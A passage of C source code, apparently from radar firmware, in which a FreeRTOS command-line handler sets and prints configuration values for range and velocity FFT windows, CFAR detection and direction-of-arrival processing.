return pdFALSE;
}
if (strncmp(param1, "vel_win", len1) == 0) {
if (param2 != NULL)
snprintf(cfg->vel_win, MIN(len2, 16-1)+1, "%s", param2);
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_win = %s\n\r", cfg->vel_win);
return pdFALSE;
}
if (strncmp(param1, "rng_win_params", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->rng_win_params[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "rng_win_params = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->rng_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->rng_win_params[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "vel_win_params", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->vel_win_params[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "vel_win_params = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->vel_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->vel_win_params[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "rng_nfft", len1) == 0) {
if (param2 != NULL)
cfg->rng_nfft = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_nfft = %u\n\r", cfg->rng_nfft);
return pdFALSE;
}
if (strncmp(param1, "vel_nfft", len1) == 0) {
if (param2 != NULL)
cfg->vel_nfft = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_nfft = %u\n\r", cfg->vel_nfft);
return pdFALSE;
}
if (strncmp(param1, "rng_fft_scalar", len1) == 0) {
if (param2 != NULL)
cfg->rng_fft_scalar = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "rng_fft_scalar = 0x%X\n\r", cfg->rng_fft_scalar);
return pdFALSE;
}
if (strncmp(param1, "vel_fft_scalar", len1) == 0) {
if (param2 != NULL)
cfg->vel_fft_scalar = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "vel_fft_scalar = 0x%X\n\r", cfg->vel_fft_scalar);
return pdFALSE;
}
if (strncmp(param1, "fft_nve_bypass", len1) == 0) {
if (param2 != NULL)
cfg->fft_nve_bypass = (bool) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_bypass = %d\n\r", cfg->fft_nve_bypass);
return pdFALSE;
}
if (strncmp(param1, "fft_nve_shift", len1) == 0) {
if (param2 != NULL)
cfg->fft_nve_shift = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_shift = %u\n\r", cfg->fft_nve_shift);
return pdFALSE;
}
if (strncmp(param1, "fft_nve_ch_mask", len1) == 0) {
if (param2 != NULL)
cfg->fft_nve_ch_mask = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_ch_mask = 0x%X\n\r", cfg->fft_nve_ch_mask);
return pdFALSE;
}
if (strncmp(param1, "fft_nve_default_value", len1) == 0) {
if (param2 != NULL)
cfg->fft_nve_default_value = (float) strtof(param2, NULL);
snprintf(pcWriteBuffer, xWriteBufferLen, "fft_nve_default_value = %.4f\n\r", cfg->fft_nve_default_value);
return pdFALSE;
}
if (strncmp(param1, "cfar_pk_en", len1) == 0) {
if (param2 != NULL)
cfg->cfar_pk_en = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_en = %u\n\r", cfg->cfar_pk_en);
return pdFALSE;
}
if (strncmp(param1, "cfar_pk_win_size1", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_pk_win_size1[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_win_size1 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_pk_win_size1[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_pk_win_size1[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_pk_win_size2", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_pk_win_size2[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_win_size2 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_pk_win_size2[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_pk_win_size2[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_pk_threshold", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_pk_threshold[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_pk_threshold = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_pk_threshold[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_pk_threshold[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_sliding_win", len1) == 0) {
if (param2 != NULL)
cfg->cfar_sliding_win = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sliding_win = %u\n\r", cfg->cfar_sliding_win);
return pdFALSE;
}
if (strncmp(param1, "cfar_recwin_decimate", len1) == 0) {
if (param2 != NULL)
cfg->cfar_recwin_decimate = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_recwin_decimate = %u\n\r", cfg->cfar_recwin_decimate);
return pdFALSE;
}
if (strncmp(param1, "cfar_recwin_msk", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_RECWIN_MSK_LEN) {
cfg->cfar_recwin_msk[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_recwin_msk = [");
for(cnt = 0; cnt < CFAR_MAX_RECWIN_MSK_LEN; cnt++) {
if (cnt != CFAR_MAX_RECWIN_MSK_LEN - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_recwin_msk[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_recwin_msk[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_region_algo_type", len1) == 0) {
if (param2 != NULL)
cfg->cfar_region_algo_type = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_region_algo_type = %u\n\r", cfg->cfar_region_algo_type);
return pdFALSE;
}
if (strncmp(param1, "cfar_os_rnk_ratio", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_os_rnk_ratio[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_rnk_ratio = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_os_rnk_ratio[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_os_rnk_ratio[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_os_rnk_sel", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_os_rnk_sel[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_rnk_sel = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_os_rnk_sel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_os_rnk_sel[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_os_tdec", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_os_tdec[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_tdec = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_os_tdec[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_os_tdec[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_os_alpha", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_os_alpha[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_os_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_os_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_os_alpha[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_combine_dirs", len1) == 0) {
if (param2 != NULL)
cfg->cfar_combine_dirs = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_combine_dirs = %u\n\r", cfg->cfar_combine_dirs);
return pdFALSE;
}
if (strncmp(param1, "cfar_combine_thetas", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_CFAR_DIRS) {
cfg->cfar_combine_thetas[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_combine_thetas = [");
for(cnt = 0; cnt < MAX_CFAR_DIRS; cnt++) {
if (cnt != MAX_CFAR_DIRS - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_combine_thetas[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_combine_thetas[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_combine_phis", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_CFAR_DIRS) {
cfg->cfar_combine_phis[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_combine_phis = [");
for(cnt = 0; cnt < MAX_CFAR_DIRS; cnt++) {
if (cnt != MAX_CFAR_DIRS - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_combine_phis[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_combine_phis[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_crswin_rng_size", len1) == 0) {
if (param2 != NULL)
cfg->cfar_crswin_rng_size = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_rng_size = %u\n\r", cfg->cfar_crswin_rng_size);
return pdFALSE;
}
if (strncmp(param1, "cfar_crswin_rng_skip", len1) == 0) {
if (param2 != NULL)
cfg->cfar_crswin_rng_skip = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_rng_skip = %u\n\r", cfg->cfar_crswin_rng_skip);
return pdFALSE;
}
if (strncmp(param1, "cfar_crswin_vel_size", len1) == 0) {
if (param2 != NULL)
cfg->cfar_crswin_vel_size = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_vel_size = %u\n\r", cfg->cfar_crswin_vel_size);
return pdFALSE;
}
if (strncmp(param1, "cfar_crswin_vel_skip", len1) == 0) {
if (param2 != NULL)
cfg->cfar_crswin_vel_skip = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_crswin_vel_skip = %u\n\r", cfg->cfar_crswin_vel_skip);
return pdFALSE;
}
if (strncmp(param1, "cfar_mimo_win", len1) == 0) {
if (param2 != NULL)
snprintf(cfg->cfar_mimo_win, MIN(len2, 16-1)+1, "%s", param2);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_mimo_win = %s\n\r", cfg->cfar_mimo_win);
return pdFALSE;
}
if (strncmp(param1, "cfar_mimo_win_params", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->cfar_mimo_win_params[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_mimo_win_params = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_mimo_win_params[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_mimo_win_params[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_noise_type", len1) == 0) {
if (param2 != NULL)
cfg->cfar_noise_type = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_noise_type = %u\n\r", cfg->cfar_noise_type);
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_alpha", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_alpha[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_alpha[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_beta1", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_beta1[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_beta1 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_beta1[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_beta1[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_beta2", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_beta2[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_beta2 = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_beta2[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_beta2[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_rnk_ratio", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_rnk_ratio[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_rnk_ratio = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_nr_rnk_ratio[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_nr_rnk_ratio[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_rnk_sel", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_rnk_sel[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_rnk_sel = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_nr_rnk_sel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_nr_rnk_sel[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_scheme_sel", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_scheme_sel[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_scheme_sel = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_nr_scheme_sel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_nr_scheme_sel[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_nr_tdec", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_nr_tdec[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_nr_tdec = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_nr_tdec[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_nr_tdec[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_region_sep_rng", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 3) {
cfg->cfar_region_sep_rng[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_region_sep_rng = [");
for(cnt = 0; cnt < 3; cnt++) {
if (cnt != 3 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_region_sep_rng[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_region_sep_rng[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_region_sep_vel", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 8) {
cfg->cfar_region_sep_vel[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_region_sep_vel = [");
for(cnt = 0; cnt < 8; cnt++) {
if (cnt != 8 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_region_sep_vel[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_region_sep_vel[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_sogo_alpha", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_sogo_alpha[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sogo_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_sogo_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_sogo_alpha[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_sogo_i", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_sogo_i[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sogo_i = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_sogo_i[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_sogo_i[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_sogo_mask", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_sogo_mask[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_sogo_mask = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "0x%X, ", cfg->cfar_sogo_mask[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "0x%X]\n\r", cfg->cfar_sogo_mask[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_ca_alpha", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_ca_alpha[cnt++] = (float) strtof(param2, NULL);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_ca_alpha = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f, ", cfg->cfar_ca_alpha[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%.4f]\n\r", cfg->cfar_ca_alpha[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "cfar_ca_n", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < CFAR_MAX_GRP_NUM) {
cfg->cfar_ca_n[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "cfar_ca_n = [");
for(cnt = 0; cnt < CFAR_MAX_GRP_NUM; cnt++) {
if (cnt != CFAR_MAX_GRP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->cfar_ca_n[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->cfar_ca_n[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "doa_mode", len1) == 0) {
if (param2 != NULL)
cfg->doa_mode = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_mode = %u\n\r", cfg->doa_mode);
return pdFALSE;
}
if (strncmp(param1, "doa_num_groups", len1) == 0) {
if (param2 != NULL)
cfg->doa_num_groups = (uint32_t) strtol(param2, NULL, 0);
snprintf(pcWriteBuffer, xWriteBufferLen, "doa_num_groups = %u\n\r", cfg->doa_num_groups);
return pdFALSE;
}
if (strncmp(param1, "doa_fft_mux", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < MAX_BFM_GROUP_NUM) {
cfg->doa_fft_mux[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "doa_fft_mux = [");
for(cnt = 0; cnt < MAX_BFM_GROUP_NUM; cnt++) {
if (cnt != MAX_BFM_GROUP_NUM - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->doa_fft_mux[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->doa_fft_mux[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "combined_doa_fft_mux", len1) == 0) {
uint32_t cnt = 0;
while(param2 != NULL && cnt < 4) {
cfg->combined_doa_fft_mux[cnt++] = (uint32_t) strtol(param2, NULL, 0);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
int32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen, "combined_doa_fft_mux = [");
for(cnt = 0; cnt < 4; cnt++) {
if (cnt != 4 - 1)
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u, ", cfg->combined_doa_fft_mux[cnt]);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - offset, "%u]\n\r", cfg->combined_doa_fft_mux[cnt]);
}
return pdFALSE;
}
if (strncmp(param1, "doa_method", len1) == 0) {
